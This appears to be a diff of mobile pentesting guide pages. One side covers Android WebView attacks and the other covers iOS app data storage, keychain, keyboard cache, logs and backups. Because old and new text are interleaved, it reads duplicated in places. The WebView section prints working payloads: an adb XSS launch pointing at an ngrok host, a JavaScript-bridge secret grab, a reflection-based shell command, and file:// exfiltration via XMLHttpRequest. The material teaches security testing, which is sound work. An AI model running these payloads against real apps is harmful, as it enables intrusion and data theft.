here is an example of an exposed webview vulnerable to XSS via the parameter "support\_url" (which can indicate the URL to load in the webviwe):
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
It's possible to exploit that vuln from adb with something like:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
```
{% endcode %}
### Javascript Bridge
Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** (annotated with `@JavascriptInterface`) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_.
A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.
Please note that **when you use `addJavascriptInterface`, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView**. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces.
### Important Considerations
> Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated).
- **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
#### Static Analysis
#### Implementing a JavaScript Bridge
- **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- JavaScript Bridge is enabled by adding an interface to the WebView:
```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
```markup
<!-- Exploit to get the secret from JavaScript -->
- Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:
```html
<script>alert(javascriptBridge.getSecret());</script>
```
With access to the JavaScript code, via, for example, via stored **XSS,** **MITM** attack or a **malicious** **website** that is loaded inside the WebView, can directly call the exposed Java methods.
- To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
{% hint style="info" %}
Note that in the case of trying to exploit this vulnerability via an **Open Redirect to an attackers web page that access the Native Android Objet**. If the access to the redirection is done via a mobile **browser** and **not using** the same **WebView**, the **browser won't be able to access the native Android object**.
{% endhint %}
### Reflection-based Remote Code Execution (RCE)
If `addJavascriptInterface` is necessary, take the following considerations:
* **Only JavaScript provided** with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method (via `WebView.getUrl`).
* **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser (e.g. Chrome, Firefox).
* If necessary for legacy reasons (e.g. having to support older devices), **at least set the minimal API level to 17** in the manifest file of the app (`<uses-sdk android:minSdkVersion="17" />`).
### Javascript Bridge to RCE via Reflection
As noted in [**this research** ](https://labs.withsecure.com/archive/webview-addjavascriptinterface-remote-code-execution/)(_check it for ideas in case you obtain RCE_) once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one:
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**.\
In that scenario, you won't be able to abuse Reflection to execute arbitrary code.
- A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
### Remote Debugging
**Remote WebView** **debugging** allow to access the webview with the **Chrome Developer Tools.**\
The **device** needs to be **accessible** by the PC (via USB, local emulator, local network...) and running the debuggable WebView, then access **chrome://inspect/#devices**:
- **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.
![](<../../.gitbook/assets/image (525).png>)
#### Enabling Remote Debugging
Select **inspect** and a new window will be opened. In this Windows you can **interact with the content** of the **WebView** and even make it **execute arbitrary JS** code from the **console** tab:
![](<../../.gitbook/assets/image (526).png>)
In order to enable **WebView Remote Debugging** you can do something like:
- Remote debugging can be enabled for all WebViews within an application by:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
@ -169,11 +111,7 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
}
```
**This setting applies to all of the application's WebViews.**
{% hint style="info" %}
**WebView debugging is not affected by the state of the `debuggable` flag** in the application's manifest. If you want to enable WebView debugging only when `debuggable` is `true`, test the flag at runtime.
{% endhint %}
- To conditionally enable debugging based on the application's debuggable state:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
@ -182,9 +120,9 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
}
```
## Payloads
## Exfiltrate arbitrary files
### Exfiltrate arbitrary files
- Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest();
@ -197,11 +135,11 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
xhr.send(null);
```
## References
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
<details>

403
mobile-pentesting/ios-pentesting/README.md
View file

@ -149,7 +149,7 @@ Check out the dynamic analysis that [**MobSF**](https://github.com/MobSF/Mobile-
### Listing Installed Apps
When targeting apps that are installed on the device, you'll first have to figure out the correct bundle identifier of the application you want to analyze. You can use `frida-ps -Uai` to get all apps (`-a`) currently installed (`-i`) on the connected USB device (`-U`):
Use the command `frida-ps -Uai` to determine the **bundle identifier** of the installed apps:
```bash
$ frida-ps -Uai
@ -174,52 +174,49 @@ Learn how to **enumerate the components of the application** and how to easily *
### IPA Structure
`.ipa` files are **zipped** **packages**, so you can change the extension to `.zip` and **decompress** them. A **complete** **packaged** app ready to be installed is commonly referred to as a **Bundle**.\
After decompressing them you should see `<NAME>.app` , a zipped archive that contains the rest of the resources.
The structure of an **IPA file** is essentially that of a **zipped package**. By renaming its extension to `.zip`, it can be **decompressed** to reveal its contents. Within this structure, a **Bundle** represents a fully packaged application ready for installation. Inside, you will find a directory named `<NAME>.app`, which encapsulates the application's resources.
* `Info.plist`: A file that contains some of the application specific configurations.
* `_CodeSignature/` contains a plist file with a signature over all files in the bundle.
* `Assets.car`: Another zipped archive that contains assets (icons).
* `Frameworks/` contains the app native libraries as .dylib or .framework files.
* `PlugIns/` may contain app extensions as .appex files (not present in the example).
* [`Core Data`](https://developer.apple.com/documentation/coredata): It is used to save your application’s permanent data for offline use, to cache temporary data, and to add undo functionality to your app on a single device. To sync data across multiple devices in a single iCloud account, Core Data automatically mirrors your schema to a CloudKit container.
* [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): The `PkgInfo` file is an alternate way to specify the type and creator codes of your application or bundle.
* **`Info.plist`**: This file holds specific configuration details of the application.
* **`_CodeSignature/`**: This directory includes a plist file that contains a signature, ensuring the integrity of all files in the bundle.
* **`Assets.car`**: A compressed archive that stores asset files like icons.
* **`Frameworks/`**: This folder houses the application's native libraries, which may be in the form of `.dylib` or `.framework` files.
* **`PlugIns/`**: This may include extensions to the application, known as `.appex` files, although they are not always present.
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): It is used to save your application’s permanent data for offline use, to cache temporary data, and to add undo functionality to your app on a single device. To sync data across multiple devices in a single iCloud account, Core Data automatically mirrors your schema to a CloudKit container.
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): The `PkgInfo` file is an alternate way to specify the type and creator codes of your application or bundle.
* **en.lproj, fr.proj, Base.lproj**: Are the language packs that contains resources for those specific languages, and a default resource in case a language isn' t supported.
There are multiple ways to define the UI in an iOS application: _storyboard_, _nib_ or _xib_ files.
* **Security**: The `_CodeSignature/` directory plays a critical role in the app's security by verifying the integrity of all bundled files through digital signatures.
* **Asset Management**: The `Assets.car` file uses compression to efficiently manage graphical assets, crucial for optimizing application performance and reducing its overall size.
* **Frameworks and PlugIns**: These directories underscore the modularity of iOS applications, allowing developers to include reusable code libraries (`Frameworks/`) and extend app functionality (`PlugIns/`).
* **Localization**: The structure supports multiple languages, facilitating global application reach by including resources for specific language packs.
**Info.plist**
The information property list or `Info.plist` is the main source of information for an iOS app. It consists of a structured file containing **key-value** pairs describing essential configuration information about the app. Actually, all bundled executables (app extensions, frameworks and apps) are **expected to have** an `Info.plist` file. You can find all possible keys in the [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
The **Info.plist** serves as a cornerstone for iOS applications, encapsulating key configuration data in the form of **key-value** pairs. This file is a requisite for not only applications but also for app extensions and frameworks bundled within. It's structured in either XML or a binary format and holds critical information ranging from app permissions to security configurations. For a detailed exploration of available keys, one can refer to the [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
The file might be formatted in **XML or binary (bplist)**. You can **convert it to XML** format with one simple command:
For those looking to work with this file in a more accessible format, the XML conversion can be achieved effortlessly through the use of `plutil` on macOS (available natively on versions 10.2 and later) or `plistutil` on Linux. The commands for conversion are as follows:
* On macOS with `plutil`, which is a tool that comes natively with macOS 10.2 and above versions (no official online documentation is currently available):
- **For macOS**:
```bash
$ plutil -convert xml1 Info.plist
```
```bash
$ plutil -convert xml1 Info.plist
```
* On Linux:
- **For Linux**:
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Among the myriad of information that the **Info.plist** file can divulge, notable entries include app permission strings (`UsageDescription`), custom URL schemes (`CFBundleURLTypes`), and configurations for App Transport Security (`NSAppTransportSecurity`). These entries, along with others like exported/imported custom document types (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), can be effortlessly located by inspecting the file or employing a simple `grep` command:
Here's a non-exhaustive list of some info and the corresponding keywords that you can easily search for in the `Info.plist` file by just inspecting the file or by using `grep -i <keyword> Info.plist`:
* App permissions Purpose Strings: `UsageDescription`
* Custom URL schemes: `CFBundleURLTypes`
* Exported/imported _custom document types_: `UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`
* App Transport Security (ATS) configuration: `NSAppTransportSecurity`
Please refer to the mentioned chapters to learn more about how to test each of these points.
```bash
$ grep -i <keyword> Info.plist
```
**Data Paths**
On iOS, **system applications can be found in the `/Applications`** directory while **user-installed** apps are available under **`/private/var/containers/`**. However, finding the right folder just by navigating the file system is not a trivial task as **every app gets a random 128-bit UUID** (Universal Unique Identifier) assigned for its directory names.
In the iOS environment, directories are designated specifically for **system applications** and **user-installed applications**. System applications reside in the `/Applications` directory, while user-installed apps are placed under `/private/var/containers/`. These applications are assigned a unique identifier known as a **128-bit UUID**, making the task of manually locating an app's folder challenging due to the randomness of the directory names.
In order to easily obtain the installation directory information for user-installed apps you can use **objection's command `env`** will also show you all the directory information of the app:
To facilitate the discovery of a user-installed app's installation directory, the **objection tool** provides a useful command, `env`. This command reveals detailed directory information for the app in question. Below is an example of how to use this command:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -232,26 +229,19 @@ DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
```
You could also search for the app name inside **`/private/var/containers`**:
Alternatively, the app name can be searched within the `/private/var/containers` using the `find` command:
```bash
find /private/var/containers -name "Progname*"
```
Or using **`ps`** and **`lsof`**:
Commands such as `ps` and `lsof` can also be utilized to identify the app's process and list open files, respectively, providing insights into the application's active directory paths:
```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
```
As you can see, apps have two main locations:
* The **Bundle** **directory** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`).
* The **Data directory** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`).
These folders contain information that must be examined closely during application security assessments (for example when analyzing the stored data for sensitive data).
**Bundle directory:**
* **AppName.app**
@ -436,24 +426,29 @@ To find all the plist of used by the application you can access to `/private/var
find ./ -name "*.plist"
```
The file might be formatted in **XML or binary (bplist)**. You can **convert it to XML** format with one simple command:
To convert files from **XML or binary (bplist)** format to XML, various methods depending on your operating system are available:
* On macOS with `plutil`, which is a tool that comes natively with macOS 10.2 and above versions (no official online documentation is currently available):
**For macOS Users:**
Utilize the `plutil` command. It's a built-in tool in macOS (10.2+), designed for this purpose:
```bash
$ plutil -convert xml1 Info.plist
```
* On Linux:
```bash
$ plutil -convert xml1 Info.plist
```
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
* On an objection's session:
**For Linux Users:**
Install `libplist-utils` first, then use `plistutil` to convert your file:
```bash
ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist
```
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
**Within an Objection Session:**
For analyzing mobile applications, a specific command allows you to convert plist files directly:
```bash
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
```
### Core Data
@ -505,7 +500,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
### Firebase Real-Time Databases
It can be leveraged by application developers to s**tore and sync data with a NoSQL cloud-hosted database**. The data is stored as JSON and is synchronized in real-time to every connected client and also remains available even when the application goes offline.
Developers are enabled to **store and sync data** within a **NoSQL cloud-hosted database** through Firebase Real-Time Databases. Stored in JSON format, the data gets synchronized to all connected clients in real time.
You can find how to check for misconfigured Firebase databases here:
@ -515,9 +510,9 @@ You can find how to check for misconfigured Firebase databases here:
### Realm databases
[Realm Objective-C](https://realm.io/docs/objc/latest/) and [Realm Swift](https://realm.io/docs/swift/latest/) aren't supplied by Apple, but they are still worth noting. They **store everything unencrypted, unless the configuration has encryption enabled**.
[Realm Objective-C](https://realm.io/docs/objc/latest/) and [Realm Swift](https://realm.io/docs/swift/latest/) offer a powerful alternative for data storage, not provided by Apple. By default, they **store data unencrypted**, with encryption available through specific configuration.
You can find this databases in `/private/var/mobile/Containers/Data/Application/{APPID}`
The databases are located at: `/private/var/mobile/Containers/Data/Application/{APPID}`. To explore these files, one can utilize commands like:
```bash
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
@ -526,9 +521,9 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
$ find ./ -name "*.realm*"
```
You can use the tool [**Realm Studio**](https://github.com/realm/realm-studio) to open this database files.
For viewing these database files, the [**Realm Studio**](https://github.com/realm/realm-studio) tool is recommended.
The following example demonstrates how to use encryption with a Realm database:
To implement encryption within a Realm database, the following code snippet can be used:
```swift
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
@ -544,9 +539,13 @@ do {
### Couchbase Lite Databases
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) is a lightweight, embedded, document-oriented (NoSQL) database engine that can be synced. It compiles natively for iOS and macOS.
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) is described as a **lightweight** and **embedded** database engine that follows the **document-oriented** (NoSQL) approach. Designed to be native to **iOS** and **macOS**, it offers the capability to sync data seamlessly.
Check for possible couchbase databases in `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/`
To identify potential Couchbase databases on a device, the following directory should be inspected:
```bash
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
```
### Cookies
@ -637,128 +636,84 @@ This sets the background image to `overlayImage.png` whenever the application is
### Keychain
Tools like [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) can be used to dump the keychain (the dive must be jailbroken).\
You can also use `ios keychain dump` from [**Objection**](https://github.com/sensepost/objection)**.**
For accessing and managing the iOS keychain, tools like [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) are available, suitable for jailbroken devices. Additionally, [**Objection**](https://github.com/sensepost/objection) provides the command `ios keychain dump` for similar purposes.
**NSURLCredential**
#### **Storing Credentials**
**NSURLCredential** is the perfect class to **store username and password in the keychain**. No need to bother with NSUserDefaults nor any keychain wrapper.\
Once the user is logged in, you can store his username and password to the keychain:
The **NSURLCredential** class is ideal for saving sensitive information directly in the keychain, bypassing the need for NSUserDefaults or other wrappers. To store credentials after login, the following Swift code is used:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
```
You can use **Objection's** `ios nsurlcredentialstorage dump` to dump these secrets.
To extract these stored credentials, Objection's command `ios nsurlcredentialstorage dump` is utilized.
## Custom Keyboards/Keyboard Cache
## **Custom Keyboards and Keyboard Cache**
From iOS 8.0 Apple allows to install custom extensions for iOS like custom keyboards.\
The installed keyboards can be managed via **Settings** > **General** > **Keyboard** > **Keyboards**\
Custom keyboards can be used to **sniff** the **keystrokes** and send them to the attacker server. However, note that **custom keyboards requiring networking connectivity will be notified to the user.**\
Also, the **user can switch to a different** (more trusted) **keyboard** for introducing the credentials.
With iOS 8.0 onwards, users can install custom keyboard extensions, which are manageable under **Settings > General > Keyboard > Keyboards**. While these keyboards offer extended functionality, they pose a risk of keystroke logging and transmitting data to external servers, though users are notified about keyboards requiring network access. Apps can, and should, restrict the use of custom keyboards for sensitive information entry.
Moreover, **applications can prevent its users from using custom keyboards** within the app (or at least for sensitive parts of the app).
**Security Recommendations:**
- It's advised to disable third-party keyboards for enhanced security.
- Be aware of the autocorrect and auto-suggestions features of the default iOS keyboard, which could store sensitive information in cache files located in `Library/Keyboard/{locale}-dynamic-text.dat` or `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. These cache files should be regularly checked for sensitive data. Resetting the keyboard dictionary via **Settings > General > Reset > Reset Keyboard Dictionary** is recommended for clearing cached data.
- Intercepting network traffic can reveal whether a custom keyboard is transmitting keystrokes remotely.
{% hint style="warning" %}
It's recommended to not allow third party keyboards if you consider the users won't need them
{% endhint %}
### **Preventing Text Field Caching**
Note that because of auto-correct and auto-suggestions, the default iOS keyboard will capture and store each non-standard word word in a cache file if the attribute **securetTextEntry** is not set to **true** or if **autoCorrectionType** is not set to **UITextAutoCorrectionTypeNo.**
By default the keyboards **store this cache** inside the applications sandbox in `Library/Keyboard/{locale}-dynamic-text.dat` file or in `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. However, it might be saving the dateaelsewhere.\
It's possible to reset the cache in _**Settings**_ > _**General**_ > _**Reset**_ > _**Reset Keyboard Dictionary**_
{% hint style="info" %}
Therefore, **check always these files** and search for possible **sensitive** **information**.\
**Intercepting the network traffic** is another way to check if the custom keyboard is sending keystroked to a remote server.
{% endhint %}
The [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) is used for keyboard caching. The UITextField, UITextView, and UISearchBar classes automatically support this protocol and it offers the following properties:
* `var autocorrectionType: UITextAutocorrectionType` determines whether autocorrection is enabled during typing. When autocorrection is enabled, the text object tracks unknown words and suggests suitable replacements, replacing the typed text automatically unless the user overrides the replacement. The default value of this property is `UITextAutocorrectionTypeDefault`, which for most input methods enables autocorrection.
* `var secureTextEntry: BOOL` determines whether text copying and text caching are disabled and hides the text being entered for `UITextField`. The default value of this property is `NO`.
**To identify this behaviour in the code:**
* Search through the source code for similar implementations, such as
The [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) offers properties to manage autocorrection and secure text entry, essential for preventing sensitive information caching. For example, disabling autocorrection and enabling secure text entry can be achieved with:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
```
* Open xib and storyboard files in the `Interface Builder` of Xcode and verify the states of `Secure Text Entry` and `Correction` in the `Attributes Inspector` for the appropriate object.
The application must prevent the caching of sensitive information entered into text fields. You can prevent caching by disabling it programmatically, using the `textObject.autocorrectionType = UITextAutocorrectionTypeNo` directive in the desired UITextFields, UITextViews, and UISearchBars. For data that should be masked, such as PINs and passwords, set `textObject.secureTextEntry` to `YES`.
Additionally, developers should ensure that text fields, especially those for entering sensitive information like passwords and PINs, disable caching by setting `autocorrectionType` to `UITextAutocorrectionTypeNo` and `secureTextEntry` to `YES`.
```objectivec
UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ];
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **Logs**
The most common ways to debug code is using logging, and the application **may print sensitive information inside the logs**.\
In iOS version 6 and below, logs were world readable (a malicious app could read logs from other apps and extract sensitive information from there). **Nowadays, apps can only access their own logs**.
Debugging code often involves the use of **logging**. There's a risk involved as **logs may contain sensitive information**. Previously, in iOS 6 and earlier versions, logs were accessible to all apps, posing a risk of sensitive data leakage. **Now, applications are restricted to accessing only their logs**.
However, an **attacker** with **physical** **access** to an **unlocked** device can connect it to a computer and **read the logs** (note that the logs written to disk by an app aren't removed if the app ins uninstalled).
Despite these restrictions, an **attacker with physical access** to an unlocked device can still exploit this by connecting the device to a computer and **reading the logs**. It is important to note that logs remain on the disk even after the app's uninstallation.
It's recommended to **navigate through all the screens** of the app and **interact** with **every** UI element and **functionality** of and provide input text in all text fields and **review the logs** looking for **sensitive** **information** exposed.
To mitigate risks, it is advised to **thoroughly interact with the app**, exploring all its functionalities and inputs to ensure no sensitive information is being logged inadvertently.
Use the following keywords to check the app's source code for predefined and custom logging statements:
When reviewing the app's source code for potential leaks, look for both **predefined** and **custom logging statements** using keywords such as `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` for built-in functions, and any mentions of `Logging` or `Logfile` for custom implementations.
* For predefined and built-in functions:
* NSLog
* NSAssert
* NSCAssert
* fprintf
* For custom functions:
* Logging
* Logfile
### **Monitoring System Logs**
**Monitoring System Logs**
Many apps log informative (and potentially sensitive) messages to the console log. The log also contains crash reports and other useful information.
You can use these tools:
Apps log various pieces of information which can be sensitive. To monitor these logs, tools and commands like:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To get the device logs
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
```
You can collect console logs through the Xcode **Devices** window as follows:
are useful. Additionally, **Xcode** provides a way to collect console logs:
1. Launch Xcode.
2. Connect your device to your host computer.
3. Choose **Window** -> **Devices and Simulators**.
4. Click on your connected iOS device in the left section of the Devices window.
5. Reproduce the problem.
6. Click on the **Open Console** button located in the upper right-hand area of the Devices window to view the console logs on a separate window.
1. Open Xcode.
2. Connect the iOS device.
3. Navigate to **Window** -> **Devices and Simulators**.
4. Select your device.
5. Trigger the issue you're investigating.
6. Use the **Open Console** button to view logs in a new window.
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (15).png>)
You can also connect to the device shell as explained in Accessing the Device Shell, install **socat** via **apt-get** and run the following command:
For more advanced logging, connecting to the device shell and using **socat** can provide real-time log monitoring:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
========================
ASL is here to serve you
> watch
OK
Jun 7 13:42:14 iPhone chmod[9705] <Notice>: MS:Notice: Injecting: (null) [chmod] (1556.00)
Jun 7 13:42:14 iPhone readlink[9706] <Notice>: MS:Notice: Injecting: (null) [readlink] (1556.00)
Jun 7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (1556.00)
Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
...
```
Followed by commands to observe log activities, which can be invaluable for diagnosing issues or identifying potential data leakage in logs.
***
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
@ -769,29 +724,23 @@ Get Access Today:
## Backups
iOS includes auto-backup features that create copies of the data stored on the device. You can **make iOS backups** from your host computer by using iTunes (till macOS Catalina) or Finder (from macOS Catalina onwards), or via the iCloud backup feature. In both cases, the backup includes nearly all data stored on the iOS device except highly sensitive data such as Apple Pay information and Touch ID settings.
**Auto-backup features** are integrated into iOS, facilitating the creation of device data copies through iTunes (up to macOS Catalina), Finder (from macOS Catalina onward), or iCloud. These backups encompass almost all device data, excluding highly sensitive elements like Apple Pay details and Touch ID configurations.
Since iOS backs up installed apps and their data, an obvious concern is whether **sensitive user data** stored by the app might **unintentionally leak through the backup**. Another concern, though less obvious, is whether **sensitive configuration settings used to protect data or restrict app functionality could be tampered to change app behaviour after restoring a modified backup**. Both concerns are valid and these vulnerabilities have proven to exist in a vast number of apps today.
### Security Risks
A backup of a device on which a mobile application has been installed will include all subdirectories (except for `Library/Caches/`) and files in the [app's private directory](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW12).\
Therefore, **avoid storing sensitive data in plaintext within any of the files or folders that are in the app's private directory or subdirectories**.
The inclusion of **installed apps and their data** in backups raises the issue of potential **data leakage** and the risk that **backup modifications could alter app functionality**. It's advised to **not store sensitive information in plaintext** within any app's directory or its subdirectories to mitigate these risks.
Although all the files in `Documents/` and `Library/Application Support/` are always backed up by default, you can [exclude files from the backup](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW28) by calling `NSURL setResourceValue:forKey:error:` with the `NSURLIsExcludedFromBackupKey` key.\
You can use the [NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple\_ref/c/data/NSURLIsExcludedFromBackupKey) and [CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple\_ref/c/data/kCFURLIsExcludedFromBackupKey) file system properties to exclude files and directories from backups.
### Excluding Files from Backups
{% hint style="warning" %}
Therefore when checking the backup of an application you should check if **any sensitive information** is accessible and if you can **modify any sensitive behaviour** of the application by **modifying some setting of the backup** and restoring the backup
{% endhint %}
Files in `Documents/` and `Library/Application Support/` are backed up by default. Developers can exclude specific files or directories from backups using `NSURL setResourceValue:forKey:error:` with the `NSURLIsExcludedFromBackupKey`. This practice is crucial for protecting sensitive data from being included in backups.
**How to test**
### Testing for Vulnerabilities
Start by **creating a backup of the device** (you can do it using Finder) and finding where is the backup stored. The official Apple documentation will help you to [locate backups of your iPhone, iPad, and iPod touch](https://support.apple.com/en-us/HT204215).
To assess an app's backup security, start by **creating a backup** using Finder, then locate it using guidance from [Apple's official documentation](https://support.apple.com/en-us/HT204215). Analyze the backup for sensitive data or configurations that could be altered to affect app behavior.
Once you have found the backup of the device (`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`) you can start looking for sensitive information using grep for example, or using tools like [iMazing](https://imazing.com)).
Sensitive information can be sought out using command-line tools or applications like [iMazing](https://imazing.com). For encrypted backups, the presence of encryption can be confirmed by checking the "IsEncrypted" key in the "Manifest.plist" file at the backup's root.
To identify if a backup is encrypted, you can check the key named "IsEncrypted" from the file "Manifest.plist", located at the root of the backup directory. The following example shows a configuration indicating that the backup is encrypted:
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
@ -804,61 +753,46 @@ To identify if a backup is encrypted, you can check the key named "IsEncrypted"
</plist>
```
